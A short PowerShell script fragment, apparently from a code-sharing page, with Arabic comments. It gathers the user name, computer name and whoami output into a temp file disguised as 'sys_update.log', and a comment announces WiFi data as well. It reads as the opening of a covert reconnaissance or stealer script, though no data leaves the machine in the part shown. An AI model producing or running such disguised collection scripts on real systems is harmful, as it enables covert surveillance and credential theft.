This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # 1. تجهيز ملف اللوج (System Info + WiFi) | |
| $f = "$env:TEMP\sys_update.log" | |
| # جمع معلومات النظام | |
| "User: $env:USERNAME" | Out-File $f -Encoding UTF8 | |
| "PC Name: $env:COMPUTERNAME" | Out-File $f -Append -Encoding UTF8 | |
| # === الإضافة الجديدة: User and Network Info === | |
| "`n--- User & Network Info ---" | Out-File $f -Append -Encoding UTF8 | |
| whoami | Out-File $f -Append -Encoding UTF8 |